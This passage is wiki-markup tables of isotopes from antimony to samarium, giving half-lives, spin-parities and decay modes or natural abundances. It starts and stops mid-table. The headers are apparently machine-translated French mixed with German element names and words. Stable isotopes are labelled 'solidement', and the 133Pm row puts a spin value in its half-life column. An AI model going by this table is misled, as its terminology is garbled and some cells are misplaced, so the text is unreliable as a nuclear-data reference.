|- |115Sb || 32.1 m || 5/2+ || %K+%β+=100 |- |116Sb || 15.8 m || 3+ || %K+%β+=100 |- |116m1Sb || 60.3 m || 8- || %K+%β+=100 |- |117Sb || 2.80 h || 5/2+ || %K+%β+=100 |- |118Sb || 3.6 m || 1+ || %K+%β+=100 |- |118m1Sb || 5.00 h || 8- || %K+%β+=100 |- |119Sb || 38.19 h || 5/2+ || %K=100 |- |119m1Sb || 0.85 s || (25/2+ ) || %IT=100 |- |120Sb || 15.89 m || 1+ || %K+%β+=100 |- |120m1Sb || 5.76 d || 8- || %K+%β+=100 |- |121Sb || solidement || 5/2+ || %Fréquence=57.36 |- |122Sb || 2.7238 d || 2- || %β-=97.59 , %K+%β+=2.41 |- |122m1Sb || 4.191 m || (8) - || %IT=100 |- |123Sb || solidement || 7/2+ || %Fréquence=42.64 |- |124Sb || 60.20 d || 3- || %β-=100 |- |124m1Sb || 93 s || 5+ || %IT=75 , %β-=25 |- |124m2Sb || 20.2 m || (8) - || %IT=100 |- |125Sb || 2.7582 a || 7/2+ || %β-=100 |- |126Sb || 12.46 d || (8) - || %β-=100 |- |126m1Sb || 19.15 m || (5) + || %β-=86 , %IT=14 |- |126m2Sb || 11 s || (3) - || %IT=100 |- |127Sb || 3.85 d || 7/2+ || %β-=100 |- |128Sb || 9.01 h || 8- || %β-=100 |- |128m1Sb || 10.4 m || 5+ || %β-=96.4 , %IT=3.6 |- |129Sb || 4.40 h || 7/2+ || %β-=100 |- |129m1Sb || 17.7 m || (19/2-) || %β-=85, %IT=15 |- |130Sb || 39.5 m || (8-) || %β-=100 |- |130m1Sb || 6.3 m || (5) + || %β-=100 |- |131Sb || 23.03 m || (7/2+ ) || %β-=100 |- |132Sb || 2.79 m || (4+ ) || %β-=100 |- |132m1Sb || 4.10 m || (8-) || %β-=100 |- |133Sb || 2.5 m || (7/2+ ) || %β-=100 |- |134Sb || 0.78 s || (0- ) || %β-=100 |- |134m1Sb || 10.23 s || (7-) || %β-=100, %β-n=0.091 |- |135Sb || 1.71 s || (7/2+ ) || %β-=100 , %β-n=16.4 |- |136Sb || 0.82 s || || %β-=100, %β-n=24.0, %β-2n=? |} ==[[Tellurium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |106Te || 60 μs || 0+ || %α=100 |- |107Te || 3.1 ms || || %α > 70, %K+%β+ < 30 |- |108Te || 2.1 s || 0+ || %K+%β+=51 , %α=49 , %β+P=2.4 |- |109Te || 4.6 s || || %K+%β+=96.1 , %α=3.9 , %Kp=? |- |110Te || 18.6 s || 0+ || %K+%β+ ~ 100, %α ~ 0.003 |- |111Te || 19.3 s || (5/2+ ) || %K+%β+=100, %Kp=? |- |112Te || 2.0 m || 0+ || %K+%β+=100 |- |113Te || 1.7 m || (7/2+ ) || %K+%β+=100 |- |114Te || 15.2 m || 0+ || %K+%β+=100 |- |115Te || 5.8 m || 7/2+ || %K+%β+=100 |- |115m1Te || 6.7 m || (1/2) + || %K+%β+ < 100, %IT=? |- |116Te || 2.49 h || 0+ || %K+%β+=100 |- |117Te || 62 m || 1/2+ || %K+%β+=100 |- |117m1Te || 103 ms || 11/2- || %IT=100 |- |118Te || 6.00 d || 0+ || %K=100 |- |119Te || 16.03 h || 1/2+ || %K+%β+=100 |- |119m1Te || 4.70 d || 11/2- || %K+%β+=100, %IT < 0.008 |- |120Te || solidement || 0+ || %Fréquence=0.096 |- |121Te || 16.78 d || 1/2+ || %K+%β+=100 |- |121m1Te || 154 d || 11/2- || %IT=88.6 , %K+%β+=11.4 |- |122Te || solidement || 0+ || %Fréquence=2.603 |- |123Te || 1e+13 a || 1/2+ || %Fréquence=0.908, %K=100 |- |123m1Te || 119.7 d || 11/2- || %IT=100 |- |124Te || solidement || 0+ || %Fréquence=4.816 |- |125Te || solidement || 1/2+ || %Fréquence=7.139 |- |125m1Te || 57.40 d || 11/2- || %IT=100 |- |126Te || solidement || 0+ || %Fréquence=18.95 |- |127Te || 9.35 h || 3/2+ || %β-=100 |- |127m1Te || 109 d || 11/2- || %IT=97.6 , %β-=2.4 |- |128Te || 2.2e24 a || 0+ || %Fréquence=31.69, %ββ=100 |- |129Te || 69.6 m || 3/2+ || %β-=100 |- |129m1Te || 33.6 d || 11/2- || %IT=63 , %β-=37 |- |130Te || 7.9e20 a || 0+ || %Fréquence=33.80, %β- β -=100 |- |131Te || 25.0 m || 3/2+ || %β-=100 |- |131m1Te || 30 h || 11/2- || %β-=77.8 , %IT=22.2 |- |132Te || 3.204 d || 0+ || %β-=100 |- |133Te || 12.5 m || (3/2+ ) || %β-=100 |- |133m1Te || 55.4 m || (11/2-) || %IT=17.5 , %β-=82.5 |- |134Te || 41.8 m || 0+ || %β-=100 |- |135Te || 19.0 s || (7/2-) || %β-=100 |- |136Te || 17.5 s || 0+ || %β-=100, %β-n=1.1 |- |137Te || 2.49 s || (7/2-) || %β-=100, %β-n=2.69 |- |138Te || 1.4 s || 0+ || %β-=100, %β-n=6.3 |} ==[[Iode]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |108I || 36 ms || (1) || %α=91 , %p < 1 |- |109I || 100 μs || || %p ~ 100 |- |110I || 0.65 s || || %K+%β+=83 , %α=17 , %Kp=11 , %Kα=1.1 |- |111I || 2.5 s || (5/2+ ) || %K+%β+=99.9, %α ~ 0.1 |- |112I || 3.42 s || || %K+%β+=100, %α ~ 0.0012 |- |113I || 6.6 s || (5/2+ ) || %K+%β+=100, %Kα=?, %α =3.310E-7 |- |114I || 2.1 s || 1+ || %K+%β+= 100, %Kp=? |- |114m1I || 6.2 s || (7) || %K+%β+=?, %IT=? |- |115I || 1.3 m || (5/2+ ) || %K+%β+=100 |- |116I || 2.91 s || 1+ || %K+%β+=100 |- |116m1I || 3.27 μs || (7-) || |- |117I || 2.22 m || (5/2) + || %K+%β+=100 |- |118I || 13.7 m || 2- || %K+%β+=100 |- |118m1I || 8.5 m || (7-) || %K+%β+<100, %IT>0 |- |119I || 19.1 m || 5/2+ || %K+%β+=100 |- |120I || 81.0 m || 2- || %K+%β+=100 |- |120m1I || 53 m || 4 bis 8 || %K+%β+=100 |- |121I || 2.12 h || 5/2+ || %K+%β+=100 |- |122I || 3.63 m || 1+ || %K+%β+=100 |- |122m1I || 80 μs || || |- |123I || 13.27 h || 5/2+ || %K+%β+=100 |- |124I || 4.1760 d || 2- || %K+%β+=100 |- |125I || 59.408 d || 5/2+ || %K=100 |- |126I || 13.11 d || 2- || %K+%β+=56.3 , %β-=43.7 |- |127I || solidement || 5/2+ || %Fréquence=100 |- |128I || 24.99 m || 1+ || %β-=93.1 , %K+%β+=6.9 |- |129I || 1.57e7 a || 7/2+ || %β-=100 |- |130I || 12.36 h || 5+ || %β-=100 |- |130m1I || 9.0 m || 2+ || %IT=84 , %β-=16 |- |131I || 8.02070 d || 7/2+ || %β-=100 |- |132I || 2.295 h || 4+ || %β-=100 |- |132m1I || 1.387 h || (8-) || %IT=86 , %β-=14 |- |133I || 20.8 h || 7/2+ || %β-=100 |- |133m1I || 9 s || (19/2-) || %IT=100 |- |134I || 52.5 m || (4) + || %β-=100 |- |134m1I || 3.60 m || (8) - || %IT=97.7 , %β-=2.3 |- |135I || 6.57 h || 7/2+ || %β-=100 |- |136I || 83.4 s || (1-) || %β-=100 |- |136m1I || 46.9 s || (6-) || %β-=100 |- |137I || 24.5 s || (7/2+ ) || %β-=100, %β-n=6.97 |- |138I || 6.49 s || (2-) || %β-=100, %β-n=5.5 |- |139I || 2.29 s || (7/2+ ) || %β-=100, %β-n=9.9 |- |140I || 0.86 s || (4) || %β-=100 , %β-n=9.3 |- |141I || 0.43 s || || %β-=100, %β-n=21.2 |} ==[[Xenon]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |110Xe || 0.60 μs || 0+ || %K+β+=?, %α=? |- |111Xe || 0.74 s || || %K+%β+=?, %α=? |- |112Xe || 2.7 s || 0+ || %K+%β+=99.2, %α=0.8 +11- 5 |- |113Xe || 2.74 s || || %K+%β+ ~ 100, %α ~ 0.011, %Kp=7 , %Kα ~ 0.007 |- |114Xe || 10.0 s || 0+ || %K+%β+=100 |- |115Xe || 18 s || (5/2+ ) || %K+%β+=100, %Kp=0.34 , %Kα=0.0003 |- |116Xe || 59 s || 0+ || %K+%β+=100 |- |117Xe || 61 s || 5/2(+) || %K+%β+=100, %Kp=0.0029 |- |118Xe || 3.8 m || 0+ || %K+%β+=100 |- |119Xe || 5.8 m || (5/2+ ) || %K+%β+=100 |- |120Xe || 40 m || 0+ || %K+%β+=100 |- |121Xe || 40.1 m || 5/2(+) || %K+%β+=100 |- |122Xe || 20.1 h || 0+ || %K=100 |- |123Xe || 2.08 h || (1/2) + || %K+%β+=100 |- |124Xe || 1.6e+14 a || 0+ || %Fréquence=0.10, %KEC=100 |- |125Xe || 16.9 h || (1/2) + || %K+%β+=100 |- |125m1Xe || 57 s || (9/2) - || %IT=100 |- |126Xe || solidement || 0+ || %Fréquence=0.09 |- |127Xe || 36.4 d || 1/2+ || %K=100 |- |127m1Xe || 69.2 s || 9/2- || %IT=100 |- |128Xe || solidement || 0+ || %Fréquence=1.91 |- |129Xe || solidement || 1/2+ || %Fréquence=26.4 |- |129m1Xe || 8.88 d || 11/2- || %IT=100 |- |130Xe || solidement || 0+ || %Fréquence=4.1 |- |131Xe || solidement || 3/2+ || %Fréquence=21.2 |- |131m1Xe || 11.84 d || 11/2- || %IT=100 |- |132Xe || solidement || 0+ || %Fréquence=26.9 |- |132m1Xe || 8.39 ms || (10+)|| %IT=100 |- |133Xe || 5.243 d || 3/2+ || %β-=100 |- |133m1Xe || 2.19 d || 11/2- || %IT=100 |- |134Xe || solidement || 0+ || %Fréquence=10.4 |- |134m1Xe || 290 ms || 7- || %IT=100 |- |135Xe || 9.14 h || 3/2+ || %β-=100 |- |135m1Xe || 15.29 m || 11/2- || %IT=99.996 , %β-=0.004 |- |136Xe || 2.36e21 a || 0+ || %Fréquence=8.9 |- |137Xe || 3.818 m || 7/2- || %β-=100 |- |138Xe || 14.08 m || 0+ || %β-=100 |- |139Xe || 39.68 s || 3/2- || %β-=100 |- |140Xe || 13.60 s || 0+ || %β-=100 |- |141Xe || 1.73 s || 5/2(-) || %β-=100, %β-n=0.044 |- |142Xe || 1.22 s || 0+ || %β-=100, %β-n=0.406 |- |143Xe || 0.30 s || 5/2- || %β-=100 |- |144Xe || 1.15 s || 0+ || %β-=100 |- |145Xe || 0.9 s || || %β-=100, %β-n=? |- |146Xe || || 0+ || %β-=100 |} ==[[Caesium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |113Cs || 17 μs || (5/2+ ) || %p ~ 100, %K+%β+ ~ 0.03 |- |114Cs || 0.57 s || (1+ ) || %K+%β+ ~ 100, %α=0.018 , %Kp=7 , %Kα=0.16 |- |115Cs || 1.4 s || || %K+%β+=100, %Kp ~ 0.07 |- |116Cs || 3.84 s || >4+ || %K+%β+=100, %Kp=0.44 , %Kα=0.08 |- |116m1Cs || 0.70 s || (1+ ) || %K+%β+=100, %Kp=0.28 , %Kα=0.049 |- |117Cs || 8.4 s || (9/2+ ) || %K+%β+=100 |- |117m1Cs || 6.5 s || (3/2+ ) || %K+%β+=100 |- |118Cs || 14 s || 2 || %K+%β+=100, %Kp<4.2E-2 , %Kα<2.4E-3 |- |118m1Cs || 17 s || (7-) || %K+%β+=100, %Kp<4.2E-2 , %Kα<2.4E-3 |- |119Cs || 43.0 s || 9/2+ || %K+%β+=100 |- |119m1Cs || 30.4 s || 3/2(+) || %K+%β+=100 |- |120Cs || 64 s || 2 || %K+%β+=100 |- |120m1Cs || 57 s || || %K+%β+=100, %Kp=7E-6 , %Kα=2.0E-5 |- |121Cs || 155 s || 3/2(+) || %K+%β+=100 |- |121m1Cs || 122 s || 9/2(+) || %K+%β+=83, %IT=17 |- |122Cs || 21.0 s || 1+ || %K+%β+=100 |- |122m1Cs || 3.70 m || 8- || %K+%β+=100 |- |122m2Cs || 0.36 s || (5) - || %IT=100 |- |123Cs || 5.94 m || 1/2+ || %K+%β+=100 |- |123m1Cs || 1.64 s || (11/2) - || %IT=100 |- |124Cs || 30.8 s || 1+ || %K+%β+=100 |- |124m1Cs || 6.3 s || (7) + || %IT=100 |- |125Cs || 45 m || (1/2+ ) || %K+%β+=100 |- |126Cs || 1.64 m || 1+ || %K+%β+=100 |- |127Cs || 6.25 h || 1/2+ || %K+%β+=100 |- |128Cs || 3.66 m || 1+ || %K+%β+=100 |- |129Cs || 32.06 h || 1/2+ || %K+%β+=100 |- |130Cs || 29.21 m || 1+ || %K+%β+=98.4, %β-=1.6 |- |130m1Cs || 3.46 m || 5- || %IT=99.84 , %K+%β+=0.16 |- |131Cs || 9.689 d || 5/2+ || %K=100 |- |132Cs || 6.479 d || 2+ || %K+%β+=98.13 , %β-=1.87 |- |133Cs || solidement || 7/2+ || %Fréquence=100 |- |134Cs || 2.0648 a || 4+ || %β-=99.9997 , %K=0.0003 |- |134m1Cs || 2.903 h || 8- || %IT=100 |- |135Cs || 2.3e+6 a || 7/2+ || %β-=100 |- |135m1Cs || 53 m || 19/2- || %IT=100 |- |136Cs || 13.16 d || 5+ || %β-=100 |- |136m1Cs || 19 s || 8- || %IT=?, %β-=? |- |137Cs || 30.07 a || 7/2+ || %β-=100 |- |138Cs || 33.41 m || 3- || %β-=100 |- |138m1Cs || 2.91 m || 6- || %β-=19 , %IT=81 |- |139Cs || 9.27 m || 7/2+ || %β-=100 |- |140Cs || 63.7 s || 1- || %β-=100 |- |141Cs || 24.94 s || 7/2+ || %β-=100, %β-n=0.029 |- |142Cs || 1.70 s || 0- || %β-=100, %β-n=0.091 |- |143Cs || 1.78 s || 3/2+ || %β-=100, %β-n=1.62 |- |144Cs || 1.01 s || 1 || %β-=100, %β-n=3.17 |- |144m1Cs || 1 s || (GE 4) || %β-=? |- |145Cs || 0.594 s || 3/2+ || %β-=100, %β-n=13.8 |- |146Cs || 0.321 s || 1- || %β-=100 , %β-n=14.2 |- |147Cs || 0.225 s || (3/2+ ) || %β-=100, %β-n=43 |- |148Cs || 158 ms || || %β-=100, %β-n=25 |} ==[[Barium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |114Ba || 0.43 s || 0+ || %K+%β+ ~ 100, %α=?, %12C ~ 3E-5 |- |115Ba || 0.4 s || || %K+%β+=100 |- |116Ba || 0.3 s || 0+ || %K+%β+=100 |- |117Ba || 1.75 s || (3/2) || %K+%β+=100, %Kp=?, %Kα=? |- |118Ba || 5.5 s || 0+ || %K+%β+=100 |- |119Ba || 5.4 s || (5/2+ ) || %K+%β+=100, %Kp < 25 |- |120Ba || 32 s || 0+ || %K+%β+=100 |- |121Ba || 29.7 s || 5/2(+) || %K+%β+=100, %Kp=0.02 |- |122Ba || 1.95 m || 0+ || %K+%β+=100 |- |123Ba || 2.7 m || 5/2+ || %K+%β+=100 |- |124Ba || 11.0 m || 0+ || %K+%β+=100 |- |125Ba || 3.5 m || 1/2(+) || %K+%β+=100 |- |126Ba || 100 m || 0+ || %K+%β+ =100 |- |127Ba || 12.7 m || 1/2+ || %K+%β+=100 |- |127m1Ba || 1.9 s || 7/2- || %IT=100 |- |128Ba || 2.43 d || 0+ || %K=100 |- |129Ba || 2.23 h || 1/2+ || %K+%β+=100 |- |129m1Ba || 2.16 h || 7/2+ || %K+%β+ < 100, %IT=? |- |130Ba || solidement || 0+ || %Fréquence=0.106 |- |130m1Ba || 11 ms || 8- || %IT=100 |- |131Ba || 11.50 d || 1/2+ || %K+%β+=100 |- |131m1Ba || 14.6 m || 9/2- || %IT=100 |- |132Ba || solidement || 0+ || %Fréquence=0.101 |- |133Ba || 10.51 a || 1/2+ || %K=100 |- |133m1Ba || 38.9 h || 11/2- || %K=0.0096 , %IT=99.9904 |- |134Ba || solidement || 0+ || %Fréquence=2.417 |- |134m1Ba || 2.63 μs || (10+) || |- |135Ba || solidement || 3/2+ || %Fréquence=6.592 |- |135m1Ba || 28.7 h || 11/2- || %IT=100 |- |136Ba || solidement || 0+ || %Fréquence=7.854 |- |136m1Ba || 0.3084 s || 7- || %IT=100 |- |137Ba || solidement || 3/2+ || %Fréquence=11.23 |- |137m1Ba || 2.552 m || 11/2- || %IT=100 |- |138Ba || solidement || 0+ || %Fréquence=71.70 |- |139Ba || 83.06 m || 7/2- || %β-=100 |- |140Ba || 12.752 d || 0+ || %β-=100 |- |141Ba || 18.27 m || 3/2- || %β-=100 |- |142Ba || 10.6 m || 0+ || %β-=100 |- |143Ba || 14.33 s || 5/2- || %β-=100 |- |144Ba || 11.5 s || 0+ || %β-=100, %β-n=3.6 |- |145Ba || 4.31 s || 5/2- || %β-=100 |- |146Ba || 2.22 s || 0+ || %β-=100 |- |147Ba || 0.893 s || (3/2+ ) || %β-=100, %β-n=0.06 |- |148Ba || 0.607 s || 0+ || %β-=100, %β-n=0.4 |- |149Ba || 0.344 s || || %β-=100, %β-n=0.43 |- |150Ba || 0.3 s || 0+ || %β-=100, %β-n=? |} ==[[Lanthan]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |120La || 2.8 s || || %K+%β+=100 |- |121La || 5.3 s || || %K+%β+=100, %Kp=? |- |122La || 8.7 s || || %K+%β+=100, %Kp=? |- |123La || 17 s || || %K+%β+=100 |- |124La || 29 s || || %K+%β+=100 |- |124m1La || 1 s || || %K+%β+=100 |- |125La || 76 s || (11/2-) || %K+%β+=100 |- |126La || 54 s || || %K+%β+=100 |- |127La || 5.1 m || (11/2-) || %K+%β+=100 |- |127m1La || 3.7 m || (3/2+ ) || %K+%β+=100, %IT=? |- |128La || 5.0 m || (5+ ) || %K+%β+=100 |- |128m1La || 560 ms || (1+ , 2+ ) || %K+%β+=100 |- |129La || 11.6 m || 3/2+ || %K+%β+=100 |- |129m1La || 0.56 s || 11/2- || %IT=100 |- |130La || 8.7 m || 3(+) || %K+%β+=100 |- |131La || 59 m || 3/2+ || %K+%β+=100 |- |132La || 4.8 h || 2- || %K+%β+=100 |- |132m1La || 24.3 m || 6- || %IT=76, %K+%β+=24 |- |133La || 3.912 h || 5/2+ || %K+%β+=100 |- |134La || 6.45 m || 1+ || %K+%β+=100 |- |135La || 19.5 h || 5/2+ || %K+%β+=100 |- |136La || 9.87 m || 1+ || %K+%β+=100 |- |136m1La || 114 ms || || %IT=100 |- |137La || 6e4 a || 7/2+ || %K=100 |- |138La || 1.05e+11 a || 5+ || %Fréquence=0.0902, %β-=33.6 , %K+%β+=66.4 |- |139La || solidement || 7/2+ || %Fréquence=99.9098 |- |140La || 1.6781 d || 3- || %β-=100 |- |141La || 3.92 h || (7/2+ ) || %β-=100 |- |142La || 91.1 m || 2- || %β-=100 |- |143La || 14.2 m || (7/2) + || %β-=100 |- |144La || 40.8 s || (3-) || %β-=100 |- |145La || 24.8 s || (5/2+ ) || %β-=100 |- |146La || 6.27 s || 2- || %β-=100 |- |146m1La || 10.0 s || (6-) || %β-=100 |- |147La || 4.015 s || (5/2+ ) || %β-=100, %β-n=0.035 |- |148La || 1.05 s || (2-) || %β-=100 , %β-n=0.11 |- |149La || 1.05 s || || %β-=100, %β-n=1.43 |- |150La || 0.86 s || || %β-=100, %β-n=2.7 |} ==[[Cer]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |123Ce || 3.2 s || (5/2) || %K+%β+=100, %Kp=? |- |124Ce || 6 s || 0+ || %K+%β+=100 |- |125Ce || 9.0 s || (5/2+ ) || %K+%β+=100, %Kp=? |- |126Ce || 50 s || 0+ || %K+%β+=100 |- |127Ce || 31 s || (5/2+ ) || %K+%β+=100 |- |128Ce || 4.1 s || 0+ || %K+%β+=100 |- |129Ce || 3.5 m || 5/2+ || %K+%β+=100 |- |130Ce || 25 m || 0+ || %K+%β+=100 |- |131Ce || 10.2 m || (7/2+ ) || %K+%β+=100 |- |131m1Ce || 5.0 m || (1/2+ ) || %K+%β+=100 |- |132Ce || 3.51 h || 0+ || %K+%β+=100 |- |132m1Ce || 13 ms || (8- ,9-) || %IT=100 |- |133Ce || 97 m || 1/2+ || %K+%β+=100 |- |133m1Ce || 4.9 h || 9/2- || %K+%β+=100 |- |134Ce || 3.16 d || 0+ || %K=100 |- |135Ce || 17.7 h || 1/2(+) || %K+%β+=100 |- |135m1Ce || 20 s || 11/2(-) || %IT=100 |- |136Ce || solidement || 0+ || %Fréquence=0.19 |- |137Ce || 9.0 h || 3/2+ || %K+%β+=100 |- |137m1Ce || 34.4 h || 11/2- || %IT=99.22 , %K+%β+=0.78 |- |138Ce || solidement || 0+ || %Fréquence=0.25 |- |138m1Ce || 8.65 ms || 7- || %IT=100 |- |139Ce || 137.640 d || 3/2+ || %K=100 |- |139m1Ce || 54.8 s || 11/2- || %IT=100 |- |140Ce || solidement || 0+ || %Fréquence=88.48 |- |141Ce || 32.501 d || 7/2- || %β-=100 |- |142Ce || 5e+16 a || 0+ || %Fréquence=11.08 |- |143Ce || 33.039 h || 3/2- || %β-=100 |- |144Ce || 284.893 d || 0+ || %β-=100 |- |145Ce || 3.01 m || (3/2) - || %β-=100 |- |146Ce || 13.52 m || 0+ || %β-=100 |- |147Ce || 56.4 s || (5/2-) || %β-=100 |- |148Ce || 56 s || 0+ || %β-=100 |- |149Ce || 5.3 s || (3/2-) || %β-=100 |- |150Ce || 4.0 s || 0+ || %β-=100 |- |151Ce || 1.02 s || || %β-=100 |- |152Ce || 1.4 s || 0+ || %β-=100 |} ==[[Praseodym]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |124Pr || 1.2 s || || %K+%β+=100, %Kp=? |- |125Pr || 3.3 s || || %K+%β+=100 |- |126Pr || 3.14 s || (3,4,5) || %K+%β+=100, %Kp=? |- |127Pr || 4.2 s || (11/2-) || %K+%β+=100 |- |128Pr || 3.1 s || 4,5,6 || %K+%β+=100, %Kp=? |- |129Pr || 30 s || (3/2+ ) || %K+%β+=100 |- |130Pr || 40.0 s || || %K+%β+=100 |- |131Pr || 1.53 m || (3/2+ ) || %K+%β+=100 |- |131m1Pr || 5.7 s || (11/2-) || %IT=95 , %K+%β+=5 |- |132Pr || 1.6 m || || %K+%β+=100 |- |133Pr || 6.5 m || (3/2+ ) || %K+%β+=100 |- |134Pr || 17 m || 2- || %K+%β+=100 |- |134m1Pr || 11 m || (5-) || %K+%β+=100 |- |135Pr || 24 m || 3/2(+) || %K+%β+=100 |- |136Pr || 13.1 m || 2+ || %K+%β+=100 |- |137Pr || 1.28 h || 5/2+ || %K+%β+=100 |- |138Pr || 1.45 m || 1+ || %K+%β+=100 |- |138m1Pr || 2.12 h || 7- || %K+%β+=100 |- |139Pr || 4.41 h || 5/2+ || %K+%β+=100 |- |140Pr || 3.39 m || 1+ || %K+β+=100 |- |141Pr || solidement || 5/2+ || %Fréquence=100 |- |142Pr || 19.12 h || 2- || %β-=99.9836 , %K=0.0164 |- |142m1Pr || 14.6 m || 5- || %IT=100 |- |143Pr || 13.57 d || 7/2+ || %β-=100 |- |144Pr || 17.28 m || 0- || %β-=100 |- |144m1Pr || 7.2 m || 3- || %IT=99.93, %β-=0.07 |- |145Pr || 5.984 h || 7/2+ || %β-=100 |- |146Pr || 24.15 m || (2) - || %β-=100 |- |147Pr || 13.4 m || (3/2+ ) || %β-=100 |- |148Pr || 2.27 m || 1- || %β-=100 |- |148m1Pr || 2.0 m || (4) || %β-=100 |- |149Pr || 2.26 m || (5/2+ ) || %β-=100 |- |150Pr || 6.19 s || (1) - || %β-=100 |- |151Pr || 18.90 s || (3/2-) || %β-=100 |- |152Pr || 3.63 s || (4-) || %β-=100 |- |153Pr || 4.28 s || || %β-=100 |- |154Pr || 2.3 s || (3+ , 2+ ) || %β-=100 |} ==[[Neodym]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |127Nd || 1.8 s || || %K+%β+=100, %Kp=? |- |128Nd || 4 s || 0+ || %K+%β+=100, %Kp=? |- |129Nd || 7 s || (5/2+ ) || %K+%β+=100, %Kp=? |- |130Nd || 28 s || 0+ || %K+%β+=100 |- |131Nd || 27 s || (5/2) || %K+%β+=100 , %Kp=? |- |132Nd || 1.75 m || 0+ || %β+=100 |- |133Nd || 70 s || (7/2+ ) || %K+%β+=100 |- |133m1Nd || 70 s || (1/2) + || %K+%β+=?, %IT=? |- |134Nd || 8.5 m || 0+ || %K+%β+=100 |- |134m1Nd || 410 μs || (8) - || |- |135Nd || 12.4 m || 9/2(-) || %K+%β+=100 |- |135m1Nd || 5.5 m || (1/2+ ) || %K+%β+=100 |- |136Nd || 50.65 m || 0+ || %K+%β+=100 |- |137Nd || 38.5 m || 1/2+ || %K+%β+=100 |- |137m1Nd || 1.60 s || 11/2- || %IT=100 |- |138Nd || 5.04 h || 0+ || %K=100 |- |139Nd || 29.7 m || 3/2+ || %K+%β+=100 |- |139m1Nd || 5.50 h || 11/2- || %K+%β+=88.2 , %IT=11.8 |- |140Nd || 3.37 d || 0+ || %K=100 |- |141Nd || 2.49 h || 3/2+ || %K+%β+=100 |- |141m1Nd || 62.0 s || 11/2- || %IT > 99.95, %K+%β+ < 0.05 |- |142Nd || solidement || 0+ || %Fréquence=27.13 |- |143Nd || solidement || 7/2- || %Fréquence=12.18 |- |144Nd || 2.29e+15 a || 0+ || %Fréquence=23.80, %α=100 |- |145Nd || solidement || 7/2- || %Fréquence=8.30 |- |146Nd || solidement || 0+ || %Fréquence=17.19 |- |147Nd || 10.98 d || 5/2- || %β-=100 |- |148Nd || solidement || 0+ || %Fréquence=5.76 |- |149Nd || 1.728 h || 5/2- || %β-=100 |- |150Nd || 1.1e19 a || 0+ || %Fréquence=5.64, %β- β-=? |- |151Nd || 12.44 m || 3/2+ || %β-=100 |- |152Nd || 11.4 m || 0+ || %β-=100 |- |153Nd || 31.6 s || (3/2) - || %β-=100 |- |154Nd || 25.9 s || 0+ || %β-=100 |- |155Nd || 8.9 s || || %β-=100 |- |156Nd || 5.47 s || 0+ || %β-=100 |} ==[[Promethium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |132Pm || 6.3 s || (3+ ) || %K+%β+=100 , %Kp ~ 5E-5 |- |133Pm || 3/2+ || || %K+%β+=100 |- |133m1Pm || 15 s || 11/2- || %K+%β+=100, %IT=? |- |134Pm || 5 s || (2+ ) || %K+%β+=100 |- |134m1Pm || 22 s || (5+ ) || %K+%β+=100 |- |135Pm || 45 s || (11/2-) || %K+%β+=100 |- |135m1Pm || 49 s || (3/2+ , 5/2+ ) || %K+%β+=100 |- |136Pm || 47 s || (2+ ) || %K+%β+=100 |- |136m1Pm || 107 s || (5-) || %K+%β+=100 |- |137Pm || 2.4 m || 11/2- || %K+%β+=100 |- |138Pm || 10 s || 1+ || %K+%β+=100 |- |138m1Pm || 3.24 m || (5-) || %K+%β+=?, %IT=? |- |139Pm || 4.15 m || (5/2) + || %K+%β+=100 |- |139m1Pm || 180 ms || (11/2) - || %IT=99.94 +5-20, %K+%β+=0.06 +20-5 |- |140Pm || 9.2 s || 1+ || %K+%β+=100 |- |140m1Pm || 5.95 m || 7- || %K+%β+=100 |- |140m2Pm || 5.95 m || 8- || %K+%β+=100 |- |141Pm || 20.90 m || 5/2+ || %K+%β+=100 |- |142Pm || 40.5 s || 1+ || %K+%β+=100 |- |142m1Pm || 2.0 ms || (8) - || %IT=100 |- |143Pm || 265 d || 5/2+ || %K+%β+=100 |- |144Pm || 363 d || 5- || %K+%β+=100 |- |145Pm || 17.7 a || 5/2+ || %K=100, %α=2.8E-7 |- |146Pm || 5.53 a || 3- || %K=66.0 , %β-=34.0 |- |147Pm || 2.6234 a || 7/2+ || %β-=100 |- |148Pm || 5.370 d || 1- || %β-=100 |- |148m1Pm || 41.29 d || 6- || %β-=95.0 , %IT=5.0 |- |149Pm || 53.08 h || 7/2+ || %β-=100 |- |150Pm || 2.68 h || (1-) || %β-=100 |- |151Pm || 28.40 h || 5/2+ || %β-=100 |- |152Pm || 4.12 m || 1+ || %β-=100 |- |152m1Pm || 7.52 m || 4- || %β-=100 |- |152m2Pm || 13.8 m || (8) || %β- < 100, %IT > 0 |- |153Pm || 5.25 m || 5/2- || %β-=100 |- |154Pm || 1.73 m || (0,1) || %β-=100 |- |154m1Pm || 2.68 m || (3,4) || %β-=100 |- |155Pm || 41.5 s || (5/2-) || %β-=100 |- |156Pm || 26.70 s || 4(-) || %β-=100 |- |157Pm || 10.56 s || (5/2-) || %β-=100 |- |158Pm || 4.8 s || || %β-=100 |} ==[[Samarium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |131Sm || 1.2 s || || %K+%β+=100, %Kp=? |- |132Sm || 4.0 s || 0+ || %K+%β+=100 , %Kp=? |- |133Sm || 3.7 s || (5/2+ ) || %K+%β+=100, %Kp=? |- |134Sm || 10 s || 0+ || %K+%β+=100 |- |135Sm || 10.3 s || (7/2+ ) || %K+%β+=100, %Kp=0.02 |- |136Sm || 47 s || 0+ || %K+%β+=100 |- |137Sm || 45 s || (9/2-) || %K+%β+=100 |- |138Sm || 3.1 m || 0+ || %K+%β+=100 |- |139Sm || 2.57 